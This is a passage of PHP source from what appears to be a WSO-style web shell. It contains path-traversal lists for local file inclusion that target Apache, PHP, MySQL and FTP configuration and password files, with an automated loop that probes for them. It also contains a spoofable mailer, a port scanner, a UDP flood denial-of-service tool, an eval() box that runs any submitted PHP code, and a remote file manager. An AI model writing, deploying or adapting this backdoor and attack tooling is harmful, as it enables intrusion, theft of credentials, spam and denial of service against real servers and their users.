695 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf" . $byte1 . "",
696 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf" . $byte1 . "",
697 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf" . $byte1 . "",
698 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default" . $byte1 . "",
699 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf" . $byte1 . "",
700 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf" . $byte1 . "",
701 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default" . $byte1 . "",
702 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php" . $byte1 . "",
703 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php" . $byte1 . "",
704 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php" . $byte1 . "",
705 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf" . $byte1 . "",
706 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf" . $byte1 . "",
707 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf" . $byte1 . "",
708 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf" . $byte1 . ""
709 );
710 $lfiphpini = array(
711 1 => "../../../../../../../../../../../../../../../etc/php.ini" . $byte1 . "",
712 2 => "../../../../../../../../../../../../../../../bin/php.ini" . $byte1 . "",
713 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini" . $byte1 . "",
714 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini" . $byte1 . "",
715 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini" . $byte1 . "",
716 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini" . $byte1 . "",
717 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini" . $byte1 . "",
718 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini" . $byte1 . "",
719 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini" . $byte1 . "",
720 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini" . $byte1 . "",
721 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini" . $byte1 . "",
722 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini" . $byte1 . "",
723 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini" . $byte1 . "",
724 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini" . $byte1 . "",
725 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini" . $byte1 . "",
726 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini" . $byte1 . "",
727 17 => "../../../../../../../../../../../../../../../etc/php/php.ini" . $byte1 . "",
728 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini" . $byte1 . "",
729 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini" . $byte1 . "",
730 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini" . $byte1 . "",
731 21 => "../../../../../../../../../../../../../../../web/conf/php.ini" . $byte1 . "",
732 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini" . $byte1 . "",
733 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini" . $byte1 . "",
734 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini" . $byte1 . "",
735 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini" . $byte1 . "",
736 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini" . $byte1 . "",
737 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini" . $byte1 . ""
738 );
739 $lfimysql = array(
740 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log" . $byte1 . "",
741 2 => "../../../../../../../../../../../../../../../var/log/mysql.log" . $byte1 . "",
742 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log" . $byte1 . "",
743 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log" . $byte1 . "",
744 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log" . $byte1 . "",
745 6 => "../../../../../../../../../../../../../../../var/mysql.log" . $byte1 . "",
746 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf" . $byte1 . "",
747 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf" . $byte1 . "",
748 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log" . $byte1 . "",
749 10 => "../../../../../../../../../../../../../../../etc/my.cnf" . $byte1 . ""
750 );
751 $lfiftp = array(
752 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd" . $byte1 . "",
753 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log" . $byte1 . "",
754 3 => "../../../../../../../../../../../../../../../var/log/proftpd" . $byte1 . "",
755 4 => "../../../../../../../../../../../../../../../etc/proftp.conf" . $byte1 . "",
756 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf" . $byte1 . "",
757 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf" . $byte1 . "",
758 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf" . $byte1 . "",
759 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log" . $byte1 . "",
760 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list" . $byte1 . "",
761 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log" . $byte1 . "",
762 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf" . $byte1 . "",
763 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf" . $byte1 . "",
764 13 => "../../../../../../../../../../../../../../../etc/chrootUsers" . $byte1 . "",
765 14 => "../../../../../../../../../../../../../../../var/log/xferlog" . $byte1 . "",
766 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog" . $byte1 . "",
767 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess" . $byte1 . "",
768 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts" . $byte1 . "",
769 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers" . $byte1 . "",
770 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl" . $byte1 . "",
771 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf" . $byte1 . "",
772 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf" . $byte1 . "",
773 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf" . $byte1 . "",
774 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb" . $byte1 . "",
775 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb" . $byte1 . "",
776 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl" . $byte1 . "",
777 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf" . $byte1 . "",
778 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf" . $byte1 . "",
779 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb" . $byte1 . "",
780 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb" . $byte1 . "",
781 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd" . $byte1 . "",
782 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb" . $byte1 . "",
783 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/" . $byte1 . "",
784 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/" . $byte1 . "",
785 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/" . $byte1 . "",
786 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/" . $byte1 . "",
787 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log" . $byte1 . "",
788 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log" . $byte1 . "",
789 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log" . $byte1 . "",
790 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log" . $byte1 . "",
791 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy" . $byte1 . "",
792 41 => "../../../../../../../../../../../../../../../var/log/ftplog" . $byte1 . "",
793 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp" . $byte1 . "",
794 43 => "../../../../../../../../../../../../../../../etc/ftpchroot" . $byte1 . "",
795 44 => "../../../../../../../../../../../../../../../etc/ftphosts" . $byte1 . ""
796 );
797 $x = 1;
798 if ($type == 1) {
799 $res1 = FetchURL($target . $lfitest);
800 $res2 = FetchURL($target . $lfitest2);
801 $rhash1 = md5($res1);
802 $rhash2 = md5($res2);
803 if ($rhash1 != $rhash2) {
804 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
805 while ($lfiaccess[$x]) {
806 $res3 = FetchURL($target . $lfiaccess[$x]);
807 $rhash3 = md5($res3);
808 if ($rhash3 != $rhash2) {
809 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiaccess[$x] . "\">" . $target . "" . $lfiaccess[$x] . "</a><br />";
810 } else {
811 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiaccess[$x] . "<br />";
812 }
813 $x++;
814 }
815 }
816 }
817 if ($type == 2) {
818 $res1 = FetchURL($target . $lfitest);
819 $res2 = FetchURL($target . $lfitest2);
820 $rhash1 = md5($res1);
821 $rhash2 = md5($res2);
822 if ($rhash1 != $rhash2) {
823 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
824 while ($lficonfig[$x]) {
825 $res3 = FetchURL($target . $lficonfig[$x]);
826 $rhash3 = md5($res3);
827 if ($rhash3 != $rhash2) {
828 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lficonfig[$x] . "\">" . $target . "" . $lficonfig[$x] . "</a><br />";
829 } else {
830 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lficonfig[$x] . "<br />";
831 }
832 $x++;
833 }
834 }
835 }
836 if ($type == 3) {
837 $res1 = FetchURL($target . $lfitest);
838 $res2 = FetchURL($target . $lfitest2);
839 $rhash1 = md5($res1);
840 $rhash2 = md5($res2);
841 if ($rhash1 != $rhash2) {
842 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
843 while ($lfierror[$x]) {
844 $res3 = FetchURL($target . $lfierror[$x]);
845 $rhash3 = md5($res3);
846 if ($rhash3 != $rhash2) {
847 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfierror[$x] . "\">" . $target . "" . $lfierror[$x] . "</a><br />";
848 } else {
849 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfierror[$x] . "<br />";
850 }
851 $x++;
852 }
853 }
854 }
855 if ($type == 4) {
856 $res1 = FetchURL($target . $lfitest);
857 $res2 = FetchURL($target . $lfitest2);
858 $rhash1 = md5($res1);
859 $rhash2 = md5($res2);
860 if ($rhash1 != $rhash2) {
861 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
862 while ($lfiphpini[$x]) {
863 $res3 = FetchURL($target . $lfiphpini[$x]);
864 $rhash3 = md5($res3);
865 if ($rhash3 != $rhash2) {
866 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiphpini[$x] . "\">" . $target . "" . $lfiphpini[$x] . "</a><br />";
867 } else {
868 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiphpini[$x] . "<br />";
869 }
870 $x++;
871 }
872 }
873 }
874 if ($type == 5) {
875 $res1 = FetchURL($target . $lfitest);
876 $res2 = FetchURL($target . $lfitest2);
877 $rhash1 = md5($res1);
878 $rhash2 = md5($res2);
879 if ($rhash1 != $rhash2) {
880 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
881 while ($lfimysql[$x]) {
882 $res3 = FetchURL($target . $lfimysql[$x]);
883 $rhash3 = md5($res3);
884 if ($rhash3 != $rhash2) {
885 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfimysql[$x] . "\">" . $target . "" . $lfimysql[$x] . "</a><br />";
886 } else {
887 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfimysql[$x] . "<br />";
888 }
889 $x++;
890 }
891 }
892 }
893 if ($type == 6) {
894 $res1 = FetchURL($target . $lfitest);
895 $res2 = FetchURL($target . $lfitest2);
896 $rhash1 = md5($res1);
897 $rhash2 = md5($res2);
898 if ($rhash1 != $rhash2) {
899 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />";
900 while ($lfiftp[$x]) {
901 $res3 = FetchURL($target . $lfiftp[$x]);
902 $rhash3 = md5($res3);
903 if ($rhash3 != $rhash2) {
904 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiftp[$x] . "\">" . $target . "" . $lfiftp[$x] . "</a><br />";
905 } else {
906 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiftp[$x] . "<br />";
907 }
908 $x++;
909 }
910 }
911 }
912 if ($type == 7) {
913 $res1 = FetchURL($target . $lfitest);
914 $res2 = FetchURL($target . $lfitest2);
915 $rhash1 = md5($res1);
916 $rhash2 = md5($res2);
917 if ($rhash1 != $rhash2) {
918 print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br />"; {
919 $res3 = FetchURL($target . $lfiprocenv);
920 $rhash3 = md5($res3);
921 if ($rhash3 != $rhash2) {
922 print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiprocenv . "\">" . $target . "" . $lfiprocenv . "</a><br />";
923 } else {
924 print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiprocenv . "<br />";
925 }
926 }
927 }
928 }
929 }
930 wsoFooter();
931}
932function actionphptools()
933{
934 wsoHeader();
935?><center><?php
936 echo '<b>Mailer</b><br>
937<form action="' . $surl . '" method=POST>
938<input type="hidden" name="a" value="phptools">
939<input type=text name=to value=to><br>
940<input type=text name=from value=from><br>
941<input type=text name=subject value=subject><br>
942<input type=text name=body value=body><br>
943<input type=submit name=submit value=Submit></form>';
944 if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
945 $headers = 'From: ' . $_POST['from'];
946 mail($_POST['to'], $_POST['subject'], $_POST['body'], $headers);
947 echo 'Email sent.';
948 }
949 echo '<br><b>Port Scanner</b><br>';
950 $start = strip_tags($_POST['start']);
951 $end = strip_tags($_POST['end']);
952 $host = strip_tags($_POST['host']);
953 if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
954 for ($i = $start; $i <= $end; $i++) {
955 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
956 if ($fp) {
957 echo 'Port ' . $i . ' is <font color=green>open</font><br>';
958 }
959 flush();
960 }
961 } else {
962?>
963<form action="?" method="POST">
964<input type="hidden" name="a" value="phptools">
965Host:<br />
966<input type="text" name="host" value="localhost"/><br />
967Port start:<br />
968<input type="text" name="start" value="0"/><br />
969Port end:<br />
970<input type="text" name="end" value="5000"/><br />
971<input type="submit" value="Scan Ports" />
972</form>
973<?php
974 }
975 if (isset($_POST['host']) && is_numeric($_POST['time'])) {
976 $pakits = 0;
977 ignore_user_abort(TRUE);
978 set_time_limit(0);
979 $exec_time = $_POST['time'];
980 $time = time();
981 $max_time = $time + $exec_time;
982 $host = $_POST['host'];
983 for ($i = 0; $i < 65000; $i++) {
984 $out .= 'X';
985 }
986 while (1) {
987 $pakits++;
988 if (time() > $max_time) {
989 break;
990 }
991 $rand = rand(1, 65000);
992 $fp = fsockopen('udp://' . $host, $rand, $errno, $errstr, 5);
993 if ($fp) {
994 fwrite($fp, $out);
995 fclose($fp);
996 }
997 }
998 echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits * 65) / 1024, 2) . " MB) packets averaging " . round($pakits / $exec_time, 2) . " packets per second
999";
1000 echo '<br><br>
1001 <form action="' . $surl . '" method=POST>
1002 <input type="hidden" name="a" value="phptools">
1003 Host: <input type=text name=host value=localhost>
1004 Length (seconds): <input type=text name=time value=9999>
1005 <input type=submit value=Go></form>';
1006 } else {
1007 echo '<br><b>UDP Flood</b><br>
1008 <form action=? method=POST>
1009 <input type="hidden" name="a" value="phptools">
1010 Host: <br><input type=text name=host value=localhost><br>
1011 Length (seconds): <br><input type=text name=time value=9999><br>
1012 <input type=submit value=Go></form>';
1013 }
1014?></center><?php
1015 wsoFooter();
1016}
1017function actionPhp()
1018{
1019 if (isset($_POST['ajax'])) {
1020 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1021 ob_start();
1022 eval($_POST['p1']);
1023 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
1024
1025 \\'") . "';
1026";
1027 echo strlen($temp), "
1028", $temp;
1029 exit;
1030 }
1031 wsoHeader();
1032 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
1033 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
1034 ob_start();
1035 phpinfo();
1036 $tmp = ob_get_clean();
1037 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
1038 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
1039 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
1040 }
1041 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1042 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1043 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
1044 echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
1045 if (!empty($_POST['p1'])) {
1046 ob_start();
1047 eval($_POST['p1']);
1048 echo htmlspecialchars(ob_get_clean());
1049 }
1050 echo '</pre></div>';
1051 wsoFooter();
1052}
1053function actionFilesMan()
1054{
1055 wsoHeader();
1056 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
1057 if (!empty($_POST['p1'])) {
1058 switch ($_POST['p1']) {
1059 case 'uploadFile':
1060 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1061 echo "Can't upload file!";
1062 break;
1063 case 'mkdir':
1064 if (!@mkdir($_POST['p2']))
1065 echo "Can't create new dir";
1066 break;
1067 case 'delete':
1068 function deleteDir($path)
1069 {
1070 $path = (substr($path, -1) == '/') ? $path : $path . '/';
1071 $dh = opendir($path);
1072 while (($item = readdir($dh)) !== false) {
1073 $item = $path . $item;
1074 if ((basename($item) == "..") || (basename($item) == "."))
1075 continue;
1076 $type = filetype($item);
1077 if ($type == "dir")
1078 deleteDir($item);
1079 else
1080 @unlink($item);
1081 }
1082 closedir($dh);
1083 @rmdir($path);
1084 }
1085 if (is_array(@$_POST['f']))
1086 foreach ($_POST['f'] as $f) {
1087 if ($f == '..')
1088 continue;
1089 $f = urldecode($f);
1090 if (is_dir($f))
1091 deleteDir($f);
1092 else
1093 @unlink($f);
1094 }
1095 break;
1096 case 'paste':
1097 if ($_SESSION['act'] == 'copy') {
1098 function copy_paste($c, $s, $d)
1099 {
1100 if (is_dir($c . $s)) {
1101 mkdir($d . $s);
1102 $h = @opendir($c . $s);
1103 while (($f = @readdir($h)) !== false)
1104 if (($f != ".") and ($f != ".."))
1105 copy_paste($c . $s . '/', $f, $d . $s . '/');
1106 } elseif (is_file($c . $s))
1107 @copy($c . $s, $d . $s);
1108 }
1109 foreach ($_SESSION['f'] as $f)
1110 copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
1111 } elseif ($_SESSION['act'] == 'move') {
1112 function move_paste($c, $s, $d)
1113 {
1114 if (is_dir($c . $s)) {
1115 mkdir($d . $s);
1116 $h = @opendir($c . $s);
1117 while (($f = @readdir($h)) !== false)
1118 if (($f != ".") and ($f != ".."))
1119 copy_paste($c . $s . '/', $f, $d . $s . '/');
1120 } elseif (@is_file($c . $s))
1121 @copy($c . $s, $d . $s);
1122 }
1123 foreach ($_SESSION['f'] as $f)
1124 @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
1125 } elseif ($_SESSION['act'] == 'zip') {
1126 if (class_exists('ZipArchive')) {
1127 $zip = new ZipArchive();
1128 if ($zip->open($_POST['p2'], 1)) {
1129 chdir($_SESSION['c']);
1130 foreach ($_SESSION['f'] as $f) {
1131 if ($f == '..')
1132 continue;
1133 if (@is_file($_SESSION['c'] . $f))
1134 $zip->addFile($_SESSION['c'] . $f, $f);
1135 elseif (@is_dir($_SESSION['c'] . $f)) {
1136 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
1137 foreach ($iterator as $key => $value) {
1138 $zip->addFile(realpath($key), $key);
1139 }
1140 }
1141 }
1142 chdir($GLOBALS['cwd']);
1143 $zip->close();
1144 }
1145 }
1146 } elseif ($_SESSION['act'] == 'unzip') {
1147 if (class_exists('ZipArchive')) {
1148 $zip = new ZipArchive();
1149 foreach ($_SESSION['f'] as $f) {
1150 if ($zip->open($_SESSION['c'] . $f)) {
1151 $zip->extractTo($GLOBALS['cwd']);
1152 $zip->close();
1153 }
1154 }
1155 }
1156 } elseif ($_SESSION['act'] == 'tar') {
1157 chdir($_SESSION['c']);
1158 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
1159 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
1160 chdir($GLOBALS['cwd']);
1161 }
1162 unset($_SESSION['f']);
1163 break;
1164 default:
1165 if (!empty($_POST['p1'])) {
1166 $_SESSION['act'] = @$_POST['p1'];
1167 $_SESSION['f'] = @$_POST['f'];
1168 foreach ($_SESSION['f'] as $k => $f)
1169 $_SESSION['f'][$k] = urldecode($f);
1170 $_SESSION['c'] = @$_POST['c'];
1171 }
1172 break;
1173 }
1174 }
1175 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
1176 if ($dirContent === false) {
1177 echo 'Can\'t open this folder!';
1178 wsoFooter();
1179 return;
1180 }
1181 global $sort;
1182 $sort = array(
1183 'name',
1184 1
1185 );
1186 if (!empty($_POST['p1'])) {
1187 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1188 $sort = array(
1189 $match[1],
1190 (int) $match[2]
1191 );
1192 }
1193 echo "<script>
1194 function sa() {
1195 for(i=0;i<d.files.elements.length;i++)
1196 if(d.files.elements[i].type == 'checkbox')
1197 d.files.elements[i].checked = d.files.elements[0].checked;
1198 }
1199
1200</script>
1201<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1202<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
1203 $dirs = $files = array();
1204 $n = count($dirContent);
1205 for ($i = 0; $i < $n; $i++) {
1206 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1207 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1208 $tmp = array(
1209 'name' => $dirContent[$i],
1210 'path' => $GLOBALS['cwd'] . $dirContent[$i],
1211 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1212 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1213 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
1214 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
1215 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
1216 );
1217 if (@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1218 $files[] = array_merge($tmp, array(
1219 'type' => 'file'
1220 ));
1221 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1222 $dirs[] = array_merge($tmp, array(
1223 'type' => 'link',
1224 'link' => readlink($tmp['path'])
1225 ));
1226 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != "."))
1227 $dirs[] = array_merge($tmp, array(
1228 'type' => 'dir'
1229 ));
1230 }
1231 $GLOBALS['sort'] = $sort;
1232 function wsoCmp($a, $b)
1233 {
1234 if ($GLOBALS['sort'][0] != 'size')
1235 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
1236 else
1237 return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
1238 }
1239 usort($files, "wsoCmp");
1240 usort($dirs, "wsoCmp");
1241 $files = array_merge($dirs, $files);
1242 $l = 0;
1243 foreach ($files as $f) {
1244 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
1245 $l = $l ? 0 : 1;
1246 }
1247 echo "<tr><td colspan=7>
1248
1249 <input type=hidden name=a value='FilesMan'>
1250 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
1251 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1252 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1253 if (class_exists('ZipArchive'))
1254 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1255 echo "<option value='tar'>Compress (tar.gz)</option>";
1256 if (!empty($_SESSION['act']) && @count($_SESSION['f']))
1257 echo "<option value='paste'>Paste / Compress</option>";
1258 echo "</select> ";
1259 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
1260 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
1261 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
1262 wsoFooter();
1263}
1264function actionStringTools()
1265{
1266 if (!function_exists('hex2bin')) {
1267 function hex2bin($p)
1268 {
1269 return decbin(hexdec($p));
1270 }
1271 }
1272 if (!function_exists('binhex')) {
1273 function binhex($p)
1274 {
1275 return dechex(bindec($p));
1276 }
1277 }
1278 if (!function_exists('hex2ascii')) {
1279 function hex2ascii($p)
1280 {
1281 $r = '';
1282 for ($i = 0; $i < strLen($p); $i += 2) {
1283 $r .= chr(hexdec($p[$i] . $p[$i + 1]));
1284 }
1285 return $r;
1286 }
1287 }
1288 if (!function_exists('ascii2hex')) {
1289 function ascii2hex($p)
1290 {
1291 $r = '';
1292 for ($i = 0; $i < strlen($p); ++$i)
1293 $r .= sprintf('%02X', ord($p[$i]));
1294 return strtoupper($r);
1295 }
1296 }
1297 if (!function_exists('full_urlencode')) {
1298 function full_urlencode($p)
1299 {
1300 $r = '';
1301 for ($i = 0; $i < strlen($p); ++$i)
